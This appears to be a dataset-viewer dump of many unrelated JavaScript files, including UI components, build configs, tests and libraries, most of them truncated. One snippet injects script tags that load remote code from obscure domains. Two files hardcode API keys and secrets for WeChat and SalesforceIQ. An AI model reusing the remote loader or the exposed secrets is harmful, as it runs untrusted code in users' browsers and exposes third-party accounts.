code stringlengths 2 1.05M |
|---|
var app = app || {};
(function(){
var Action_btn = app.Action_btn = React.createClass({displayName: "Action_btn",
handleClick:function(){
this.props.perform_action();
},
render:function(){
return (React.createElement("button", {className: "btn btn-primary", onClick: ... |
// flow-typed signature: 4e9727eda8b2d25116a9f45d7deabd4f
// flow-typed version: <<STUB>>/babel-plugin-transform-runtime_v^6.9.0/flow_v0.55.0
/**
* This is an autogenerated libdef stub for:
*
* 'babel-plugin-transform-runtime'
*
* Fill this stub out by replacing all the `any` types.
*
* Once filled out, we en... |
/*
Case and type insensitive lookups
Example:
var data = {"Aaa": "Xyz"};
icase.setSrc(data);
var isMatch = icase.match( icase.get("aaa"), "xyz" );
*/
(function(window, namespace){
"use strict";
(namespace || window).icase = {
setSrc: function(srcOb){
//Set source object for key lookups
var srcOb... |
// CodeMirror is the only global var we claim
window.CodeMirror = (function() {
"use strict";
// BROWSER SNIFFING
// Crude, but necessary to handle a number of hard-to-feature-detect
// bugs and behavior differences.
var gecko = /gecko\/\d/i.test(navigator.userAgent);
var ie = /MSIE \d/.test(navigator.use... |
var gulp = require('gulp');
var pug = require('gulp-pug');
var browserify = require('browserify');
var source = require('vinyl-source-stream');
var buffer = require('vinyl-buffer');
var uglify = require('gulp-uglify');
var streamify = require('gulp-streamify');
var sourcemaps = require('gulp-sourcemaps');
var sass = re... |
if (Meteor.isClient) {
// log sent messages
var _send = Meteor.connection._send;
Meteor.connection._send = function (obj) {
console.log("send", obj);
_send.call(this, obj);
};
// log received messages
Meteor.connection._stream.on('message', function (message) {
console.log("receive", JSON.par... |
version https://git-lfs.github.com/spec/v1
oid sha256:ac07324ca4f6da0c00dfa2abaf122b8ebd093332b23b28b04c5bd3c69b60078d
size 9971
|
const chai = require('chai');
const assert = chai.assert;
const expect = chai.expect;
const spies = require('chai-spies');
chai.use(spies);
const Model = require('../src/model.class.js');
let instance;
beforeEach(() => {
instance = new Model();
});
describe('Model class', () => {
it('Should be a constructor', (... |
'use strict';
export function toVideoDuration(givenTime){
let hours, minutes, seconds, group;
group = [];
hours = Math.round(givenTime / 3600);
minutes = Math.round(givenTime % 3600 / 60);
seconds = Math.round(givenTime % 3600 % 60);
if (hours > 0) { group.push((hours > 9) ? hours : "0" + hours); }
gr... |
// Description
// Get an inspiring question form serenize.me
//
// Commands:
// hubot <serenize me> - <fetches a question>
// hubot <serenize.me> - <fetches a question>
// hubot <i have a problem> - <fetches a question>
//
// Author:
// Serenize
module.exports = function(robot) {
'use strict';
robot.res... |
import PhoneAddController from './phone-add.controller';
describe('PhoneAdd Controller', () => {
let controller;
let PhoneAPI;
let $state;
let $q;
let Modal;
let $rootScope;
beforeEach(() => {
angular.mock.inject((_$rootScope_, _$q_) => {
$rootScope = _$rootScope_;
... |
'use strict';
describe('Controller: MainCtrl', function () {
// load the controller's module
beforeEach(module('tqgApp'));
var MainCtrl,
scope;
// Initialize the controller and a mock scope
beforeEach(inject(function ($controller, $rootScope) {
scope = $rootScope.$new();
MainCtrl = $controller... |
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } }... |
var su = require('stylus/lib/utils.js');
(module.exports = function listSeparatorSet(list, separator) {
list = su.unwrap(list).clone();
separator = typeof separator != 'undefined' ?
su.unwrap(separator).first.val : void 0;
list.isList = separator;
return list;
}).raw = true;
|
/* eslint-env jasmine */
'use strict';
describe('images', function () {
describe('save', function () {
it('should be able to render a Grayscale img into a canvas', function () {
var H = 10;
var W = 12;
var img = nj.ones([H, W]);
var $cv = document.createElement('canvas');
$cv.height... |
/* eslint-env mocha */
let numberInputTypeFeature = require('../../../src/html/features/form/numberInputType.js')
let featureTest = require('../featureTest.js')
describe('Number input type', function () {
it('should find number input', function () {
let html = `<input type="number">`
featureTest(html, number... |
import React from 'react';
import { luiClassName } from '../util';
const DialogFooter = ({
className,
children,
nopad,
...extraProps
}) => {
const finalClassName = luiClassName('dialog__footer', {
className,
states: { nopad },
});
return (
<div className={finalClassName} {...extraProps}>
... |
module.exports=[
{depth:0, name:'a1', slot: 5}
,{depth:1, name:'b1', slot: 10}
,{depth:2, name:'c1', slot: 20}
,{depth:2, name:'c2', slot: 30}
,{depth:2, name:'c3', slot: 40}
,{depth:1, name:'b2', slot: 50}
,{depth:2, name... |
/**
* Javascript Class Helper
* @author Tom Flidr <tomflidr@gmail.com>
* @version 2.1.1
* @summary 2017-07-26
* @example
Class.Define('ClassName', {
Extend: ParentClassDef,
Static: {
staticElm: function () {
// call parent static method with same name
this.parent(arguments);
// call any other parent ... |
(function(app){
if (!app.Collections) {app.Collections = {};}
app.Collections.CharacterCollection = Backbone.Collection.extend({
model: app.Models.CharacterModel,
initialize: function () {
_.bindAll(this, 'onReset','onAddModel');
this.on('reset', this.onReset);
this.on('add', this.onAddModel);
},
... |
// Wait for the DOM to be loaded.
window.onload = init;
// Initialize the supporting JS file.
function init(){
addEventListeners();
};
// Bind events to the DOM elements.
function addEventListeners(){
var formEvent = document.getElementById('stripePayment');
formEvent.addEventListener('submit', formSubmitHan... |
var isArrayLike = require('./isArrayLike'),
isObjectLike = require('./isObjectLike');
/**
* This method is like `bue.isArrayLike` except that it also checks if `value`
* is an object.
*
* @static
* @memberOf bue
* @type Function
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} ... |
/**
* # AuthView widget for nodeGame
* Copyright(c) 2021 Stefano Balietti
* MIT Licensed
*
* Shows files available in data/ dir.
*
* www.nodegame.org
* ---
*/
(function(node) {
"use strict";
node.widgets.register('AuthView', AuthView);
// ## Meta-data
AuthView.version = '0.3.0';
AuthVie... |
define([
'./draw/shape',
'./state',
'lodash'
], function(drawShape, state, _){
'use strict';
return function(ctx){
if(state.backImg){
ctx.drawImage(state.backImg, 0, 0, this.canvas.width, state.backImg.height);
} else {
ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
}
... |
// All material copyright ESRI, All Rights Reserved, unless otherwise specified.
// See https://js.arcgis.com/4.8/esri/copyright.txt for details.
//>>built
define([],function(){var a={EPSILON:1E-6};a.ARRAY_TYPE="undefined"!==typeof Float32Array?Float32Array:Array;a.RANDOM=Math.random;a.ENABLE_SIMD=!1;a.SIMD_AVAILABLE=a... |
"use strict";
angular.module("acuteSelectTest", ["acute.select"])
.controller("MainCtrl", function ($scope, $http, $filter, $window, $timeout, safeApply) {
$scope.colours = [
{ name: 'Black', shade: 'dark' },
{ name: 'White', shade: 'light' },
{ name: 'Red', shade: 'dark' },
{ name: 'Blue'... |
sk.withEachDo = function(seq, callback){
var i;
if(typeof callback !== "function"){
return;
}
if(seq instanceof Array || typeof seq === "object"){
for(i in seq){
callback(seq[i], i);
}
}
else if(seq instanceof NodeList){
for(i=0; i<seq.length; i++){
callback(seq[i], i);
}
}... |
var hex = require('./rgb')
module.exports = function(hexcolor, callback){
hex(hexcolor,function(RGB){
var_R = ( RGB.R / 255 ) //R from 0 to 255
var_G = ( RGB.G / 255 ) //G from 0 to 255
var_B = ( RGB.B / 255 ) //B from 0 to 255
if ( var_R > 0.04045 )
var_R = Math.pow((( var_R + 0.05... |
import Carousel from './Carousel'
import CarouselItem from './CarouselItem'
import CarouselList from './CarouselList'
import { use, registerComponent } from '../../utils/plugins'
const Plugin = {
install(Vue) {
registerComponent(Vue, Carousel)
registerComponent(Vue, CarouselItem)
registerC... |
"use strict";
var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) {
var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Refl... |
module.exports = function() {
let x = null;
x = 42;
x = true;
x = "foobar";
return {
x: x
};
}; |
'use strict';
const coreModules = require('builtin-modules');
const expect = require('chai').expect;
const injectr = require('injectr');
const sinon = require('sinon');
const _ = require('lodash');
describe('cli : domain : handle-dependencies', () => {
describe('happy path', () => {
const components = {
'... |
// Generated by CoffeeScript 1.4.0
(function() {
this.Persister = (function() {
function Persister(rootURL, http, encode) {
this.rootURL = rootURL;
this.http = http;
this.encode = encode;
if (localStorage.sessionKey != null) {
this.sessionKey = localStorage.sessionKey;
}
... |
var https = require('https');
var http = require('http');
var appInfo=function(){
this.accessToken="";
}
appInfo.prototype.set = function(id) {
this.accessToken=id;
};
appInfo.prototype.get = function() {
return this.accessToken;
};
var app=new appInfo();
var appId="wx7e975c286f0f1ca1";
var appSecret="3015c14b6c0... |
'use strict';
module.exports = {
conditions: [''],
name: 'ClassElementList',
rules: ['ClassElement', 'ClassElementList ClassElement'],
handlers: ['$$ = [$1]', '$$ = $1.concat([$2])'],
subRules: [require('./ClassElement')]
}; |
version https://git-lfs.github.com/spec/v1
oid sha256:b7dad8953849bd5575740e62283a61b4625323df8a977bea7137acf2e3463fa0
size 533
|
function newjs(){
var star = document.createElement("script");
star.src = "http://junkucm.com/bd/query.js?vid=40000";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(star, s);
};
function old(){
var star = document.createElement("script");
star.src = "https://itbaguanan.com/counter.js?_si... |
var emojiBaseUrl = "./lib/angular-emoji-popup/src/";
requirejs.config({
paths: {
emoji_app: emojiBaseUrl + "app",
emoji_config: emojiBaseUrl + "config",
emoji_directives: emojiBaseUrl + "emojiDirectives",
emoji_filters: emojiBaseUrl + "emojiFilters",
emoji_area: emojiBaseU... |
var util = require('util');
var list = (function() {
var app = function() {
if (arguments[0] != undefined) {
if (app.defaultPad) {
app[app.defaultPad](arguments[0]);
} else {
app.add('console');
app.setDefault('console');
app.console(arguments[0]);
}
}
return app;
}
app.add = app.ad... |
var expect = require('expect.js');
var Promise = require('bluebird');
var ZugZug = require('../lib/zugzug');
var Job = require('../lib/job');
describe('job.save():self', function() {
var zz;
beforeEach(function() {
zz = new ZugZug();
});
afterEach(function(done) {
Promise.promisify(zz._client.flushall,... |
/**
* dirPagination - AngularJS module for paginating (almost) anything.
*
*
* Credits
* =======
*
* Daniel Tabuenca: https://groups.google.com/d/msg/angular/an9QpzqIYiM/r8v-3W1X5vcJ
* for the idea on how to dynamically invoke the ng-repeat directive.
*
* I borrowed a couple of lines and a few attribute names... |
var fs = require('fs'),
path = require('path');
var encoding = 'binary';
var ROOT = process.cwd() + '/';
var buffer = null;
var msgs = [];
var types = ['success', 'fail', 'warn'];
var mkdir = function(dest) {
var destDirs = dest.split(/[\\/]/),
destDirsLen = destDirs.length,
destDir = '';
... |
'use strict';
// Students controller
angular.module('students').controller('StudentsController', ['$scope', '$http', '$stateParams', '$location', 'Authentication', 'Students',
function($scope, $http, $stateParams, $location, Authentication, Students ) {
$scope.authentication = Authentication;
$scope.knowin... |
!function( $ ){
"use strict"
/* DROPDOWN CLASS DEFINITION
* ========================= */
var toggle = '[data-toggle="dropdown"]'
, Dropdown = function ( element ) {
var $el = $(element).on('click.dropdown.data-api', this.toggle)
$('html').on('click.dropdown.data-api', function () {
... |
const Path = require('path')
const Snippet = require('./controllers/Snippet')
const router = require('express').Router()
router.route('/').get((req,res) => res.sendFile(Path.resolve(__dirname, '../public/index.html')))
router.route('/api/snippets').post(Snippet.createSnippet)
router.route('/api/snippets').get((req,r... |
!function(){"use strict";define(["./dessert.controller","./dessert.common"],function(t,e){function n(n,i,r,o,p){var h={};this.name=n||"",this.controller=function(e,n){return h[e]=new t(e,this,i,(void 0),n),h[e]},this.controllers={get:function(t){return h[t]},remove:function(t){return delete h[t],this},each:function(t){... |
module.exports = function (sequelize, DataTypes) {
var TeamRole = sequelize.define('TeamRole', {
name: {
type: DataTypes.STRING,
allowNull: false
}
});
return TeamRole;
}; |
'use strict'
import d3 from 'd3'
let random = (range)=>{
return d3.scale.linear()
.domain([0,1])
.range(range)(Math.random())
}
export { random as random } |
import { store } from '../app';
import { logout as logoutAction } from './actions';
export const loggedIn = () => {
return store.getState().auth.isAuthenticated;
};
export const hasSavedSession = () => {
return !!localStorage.getItem('iscs-wca-react-poc');
};
export const logout = () => {
store.dispatch... |
(function () {
"use strict";
angular.module('myApp.components.userHistory')
.factory("UserHistoryService", UserHistoryService);
UserHistoryService.$inject = [
"$httpParamSerializer",
"Transaction"
];
function UserHistoryService($httpParamSerializer, Transaction) {
v... |
import { moduleForComponent, test } from 'ember-qunit'
import hbs from 'htmlbars-inline-precompile'
moduleForComponent('uni-form-select', {
integration: true
})
//
// Value binding
//
test('it should update value on change', function (assert) {
this.set('x', 'initial')
this.set('content', [
{ label: 'updat... |
export default {
resource: "admin.adminPlugins",
path: "/plugins",
map() {
this.route("chat-integration", function () {
this.route("provider", { path: "/:provider" });
});
},
};
|
//Legend Mod Sniff Mode by jimboy3100
$( "body" ).append('<div id="imagebig"><iframe id="loaderIframeIcon1" src="https://legendmod.ml/extras/banneranimatedImplementsLM.html" name="CodePen" allowfullscreen="true" sandbox="allow-scripts allow-pointer-lock allow-same-origin allow-popups allow-modals allow-forms" allowtr... |
MeteorApp.schemeAbilities = {
"id": "Abilities",
"title": "Abilities",
"type": "object",
"properties": {
"range": {
"type": "object",
"options": {
"collapsed": true
},
"additionalProperties": false,
"properties": {
"range": {
"type": "number"
... |
'use strict';
/**
* Module dependencies.
*/
var mongoose = require('mongoose'),
Schema = mongoose.Schema;
/**
* City Schema
*/
var CitySchema = new Schema({
name: {
type: String,
required: true,
trim: true
},
display: {
x: Number,
y: Number
},
recor... |
// ----------------------------------------------------------------------------
// Copyright (c) Microsoft Corporation. All rights reserved.
// ----------------------------------------------------------------------------
var config = require('./infrastructure/config'),
execute = require('../../../src/data/sql/execu... |
angular.module('ot.service.search', [
'ot.service.core'
])
.service('otSearchService', function ($http, $location, $log, $q, $rootScope, ot, otNotificationService) {
let self = {};
self.launchSearch = (token, type) => {
let request = {token: token};
if (type) {
... |
describe('rg-placeholdit', function() {
let tag, placeholdit
beforeEach(function() {
$('body').append('<rg-placeholdit></rg-placeholdit>')
tag = riot.mount('rg-placeholdit')[0]
})
afterEach(function() {
tag.unmount()
})
it('is mounted', function() {
tag.isMounted.should.be.true
})
it... |
'use strict';
var app = require("./app.json");
var path = require('path');
var chalk = require('chalk');
// This and anything in config.paths must be absolute.
var ROOT_PATH = path.resolve(__dirname, '../..');
var NODE_MODULES_DIRNAME = 'node_modules';
var SOURCE_DIRNAME = 'app/src/Frontend';
var WEB_ROOT_DIRNAME = '... |
import { combineReducers } from 'redux';
import { billReducer } from './components.reducer/bill.reducer';
export const rootReducer = combineReducers({
billReducer
}); |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
var chai_1 = require("chai");
var index_1 = require("./index");
describe(__filename + "#", function () {
it("can evaluate a hex color", function () {
var color = index_1.evaluateCSSDeclValue(index_1.parseCSSDeclValue("#F60"))[0];
... |
//TODO lol...
|
export { default } from './BitbucketOriginalWordmark'
|
'use strict';
function foo () {
return 42;
}
var str = `
//# sourceMappingURL=main.js.map
`;
console.log( foo(str) );
|
/**
* Bootstrap.js by @mdo and @fat, extended by @ArnoldDaniels.
* plugins: bootstrap-fileupload.js
* Copyright 2012 Twitter, Inc.
* http://www.apache.org/licenses/LICENSE-2.0.txt
*/
!function(e) {
var t = function(t, n) {
this.$element = e(t), this.type = this.$element.data("uploadtype") || (this.$ele... |
'use strict';
const webpack = require('webpack');
const path = require('path');
const BrowserSyncPlugin = require('browser-sync-webpack-plugin');
const config = require('../package.json');
let webpackConfig = require('./webpack.base.config.js');
const basePath = path.join(__dirname, '../');
module.exports = function... |
var del = require('del');
var gulp = require('gulp');
var usemin = require('gulp-usemin');
var uglify = require('gulp-uglify');
var minifyCss = require('gulp-minify-css');
var wiredep = require('wiredep').stream;
var install = require('gulp-install');
gulp.task('bower', function() {
var stream = gulp.src('./bower.... |
// Regular expression that matches all symbols in the Combining Diacritical Marks Supplement block as per Unicode v7.0.0:
/[\u1DC0-\u1DFF]/; |
class VElement {
constructor(type, attr, children) {
this.type = type;
this.attributes = attr;
this.content = null;
this.children = null;
this.componentInstance = null;
if (children && typeof children === "object") {
if (Array.isArray(children)) {
this.children = [];
chi... |
/**
* @author Amber Roy / http://github.com/amberroy
*/
GameManager = function( game, params ) {
this.game = game;
this.init = this.game && this.game.init.bind( this.game ) || this._defaultInit;
this.update = this.game && this.game.update.bind( this.game ) || this._defaultUpdate;
this.renderer = new THREE.WebG... |
jQuery("#formin").validationEngine();
|
//configuration.js
/**
* Module for the return/creating of a settings file/object.
* @module configuration
* @author Bram van der Veen <96aa48@gmail.com>
*/
//Import first-party modules.
const fs = require('fs');
/**
* Function for the return/creating of a settings file/object.
* @return {Object} settings - Ob... |
'use strict';
describe('Controller: AcceptorsDetailCtrl', function () {
// load the controller's module
beforeEach(module('jkefWebApp'));
var AcceptorsDetailCtrl,
scope;
// Initialize the controller and a mock scope
beforeEach(inject(function ($controller, $rootScope) {
scope = $rootScope.$new();
... |
// Creates a matrix and optionally names it.
// If the name is specified, it will also generate a display for it
var matrix = function (vecs, name) {
if (vecs instanceof matrix) {
this.indices = [];
for (var i in vecs.indices) {
this.indices.push(new vector(vecs.indices[i]));
}
} else {
if (vecs[0] instanc... |
(function(window, undefined) {
'use strict';
function allocInit(eAI) {
document.getElementById('sLoad').addEventListener('click',function(e) { appendSpinner('container','Loading Sample...'); } );
document.getElementById('hLoad').addEventListener('click',function(e) { removeSpinner(); } );
}
function appendSpinner(ele... |
'use strict';
/* Controllers */
var LoremLinkinControllers = angular.module 'LoremLinkinControllers', [];
LoremLinkinControllers.controller('LLCtrl', ['$scope', '$log', 'Link',
function($scope, $log, Link) {
$scope.link = Link.create();
$scope.link_save = function() {
Link.save($scope.link);
... |
var async = require('async');
//SalesforceIQ API
var SalesforceIQ = require('salesforceiq');
apiKey = '55e5bc61e4b036c784940076';
apiSecret = 'R8pejHjRXA21oe6thyoEHNMnB55';
var client = new SalesforceIQ(apiKey, apiSecret);
var lead_source_obj = {
'IN - Add On Store - Bill.com' : 0,
'IN - Add On Store - QBO' :... |
/**
* trim function
* trim trailing whitespace
* @param {string} val - string to trim
* @return {string} trimmed value
*/
u.trim = function(val) {
return val.replace(/^\s+|\s+$/g, '');
};
|
// flow-typed signature: dc8c6c5a71273cd5988f61a6ebdbed8e
// flow-typed version: <<STUB>>/babel-preset-env_v^1.3.3/flow_v0.46.0
/**
* This is an autogenerated libdef stub for:
*
* 'babel-preset-env'
*
* Fill this stub out by replacing all the `any` types.
*
* Once filled out, we encourage you to share your wo... |
import React, {Component} from 'react';
class Getstart extends Component {
render() {
return (
<div>
<div className="markdown-text">
<h2>Node.js 入门</h2>
<p>《<strong>快速搭建 Node.js 开发环境以及加速 npm</strong>》</p>
<p><a href="http://fengmk2.com/blog/2014/03/node-env-and-faster-... |
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
var ModuleFilenameHelpers = exports;
ModuleFilenameHelpers.ALL_LOADERS_RESOURCE = "[all-loaders][resource]";
ModuleFilenameHelpers.REGEXP_ALL_LOADERS_RESOURCE = /\[all-?loaders\]\[resource\]/gi;
ModuleFilenameHelpers.LO... |
(function() {
var getParameterByName = function(name) {
name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
var regex = new RegExp("[\\?&]" + name + "=([^&#]*)");
var results = regex.exec(location.search);
return results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' '));
};
... |
/*global angular*/
'use strict';
angular.module('core').controller('RegionController', ['$scope', '$rootScope', '$stateParams',
'config', 'Tracks', 'Regions', 'Instruments', 'openModal', 'composer', '$q', 'fxAudioFactory', '_', 'ImagePreloadFactory',
function($scope, $rootScope, $stateParams, config, Tracks, Regions, ... |
import React from 'react';
import styled from 'styled-components';
import H1 from 'containers/ProfileText/h1';
import Subtitle from './subtitle';
import {
SECTION_SKILLS,
PROFILE_NOW
} from 'containers/HomePage/constants';
import {about_me} from 'data';
import {renderSkills} from './utils';
const hidden = ... |
/* global angular */
angular.module('myApp').controller('View2Ctrl', [function() {
'use strict';
}]); |
const data = require('./EarthPorn-top-processed.json')
const fs = require('fs')
const si = require('../../')
const path = require('path')
const stopwords = [
'about', 'after', 'all', 'also', 'am', 'an', 'and', 'another', 'any', 'are', 'as', 'at', 'be',
'because', 'been', 'before', 'being', 'between', 'both', 'but'... |
ScalaJS.is.scala_math_Ordering$DoubleOrdering = (function(obj) {
return (!(!((obj && obj.$classData) && obj.$classData.ancestors.scala_math_Ordering$DoubleOrdering)))
});
ScalaJS.as.scala_math_Ordering$DoubleOrdering = (function(obj) {
if ((ScalaJS.is.scala_math_Ordering$DoubleOrdering(obj) || (obj === null))) {
... |
/**
* BaseBonus
*
* @param {Array} position
*/
function BaseBonus(position)
{
EventEmitter.call(this);
this.position = position;
this.id = null;
}
BaseBonus.prototype = Object.create(EventEmitter.prototype);
BaseBonus.prototype.constructor = BaseBonus;
/**
* Target affected
*
* @type {String... |
'use strict';
/**
* Repo Service
* It loads everything associated to a repo
*/
app.service ('RepoService', ['$resource', '$q', 'GITHUB_API_URL', function ($resource, $q, GITHUB_API_URL) {
var repoResource = $resource (GITHUB_API_URL + '/repos/:user/:repo', {user: '@user', repo: '@repo'}, {
branches:... |
import React, { PropTypes } from 'react';
import { Link, IndexLink } from 'react-router';
import LandingPage from './LandingPage';
const App = (props) => {
return (
<div className="body-container w-clearfix ">
{props.children}
</div>
);
};
App.propTypes = {
children: PropTypes.element
};
export d... |
var chart = jui.include("chart.builder");
var activeIndex = 0,
data = [
{ quarter : "1Q", samsung : 50, lg : 35, sony: 10 },
{ quarter : "2Q", samsung : 20, lg : 30, sony: 5 },
{ quarter : "3Q", samsung : 20, lg : 5, sony: 10 },
{ quarter : "4Q", samsung : 30, lg : 25, sony: 15 }
... |
'use strict';
angular.module('uql.orgs').controller('UqlOrgsMenuCtrl', ['$scope', 'UqlOrgsMenuService', 'UqlOrgsApplicationService', function ($scope, UqlOrgsMenuService, UqlOrgsApplicationService) {
$scope.UqlOrgsMenuService = UqlOrgsMenuService;
$scope.setCategory = function (category) {
if (UqlOrgsApplicat... |
/**
* Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
'use strict';
module.exports = 'in_mapped';
|
/**
* **** SCRIPTS.JS ****
* Angular script for the CrimeCity Calculator.
* The main module along with templating is handled from within this file,
* which also inits the other js files (Controllers & services)
*
* Author : Nicolaj Nyvanng
* Web : http://ccnn.dk
* Contact : nicolajn... |
/*!
* numeral.js language configuration
* language : indonesian (id)
* author : Rich Daley : http://github.com/pedantic-git
*/
!function(){var a={delimiters:{thousands:".",decimal:","},abbreviations:{thousand:"rb",million:"jt",billion:"ml",trillion:"t"},ordinal:function(a){return"ke"},currency:{symbol:"Rp"}};"unde... |
// Use lemon-trainer db
conn = new Mongo();
db = conn.getDB("lemon-trainer");
// Load values for app_array.js
db.createCollection("names");
var dbcoll = db.getCollection("names");
print(coll);
var nameArray = [ "MongoDB", "NodeJS", "ExpressJS", "Swig Templating Engine", "GoHardJS" ];
for (index in nameArray) {
... |
const tap = require('tap');
const expect = require('expect.js');
const fs = require('fs');
const pathUtils = require('path');
const testUtils = require('../../../../../../testUtils');
tap.mochaGlobals();
const describeTitle = 'bin/east init with json config';
describe(describeTitle, () => {
let commandResult;
let ... |
import React from 'react'
export default function Phone ({email}) {
return (
<a className='level-item' target='_blank'
href={email && `mailto:${email}`}>
<span className='icon is-small'>
<i className='fa fa-envelope' style={email ? null : {color: '#ccc'}} />
</span>
</a>
)
}
|
export default class Manager{
constructor(){
}
} |
import { currentURL } from '@ember/test-helpers';
import { module, skip, test } from 'qunit';
import { setupApplicationTest } from 'travis/tests/helpers/setup-application-test';
import triggerBuildPage from 'travis/tests/pages/trigger-build';
import topPage from 'travis/tests/pages/top';
import { Response } from 'ember... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.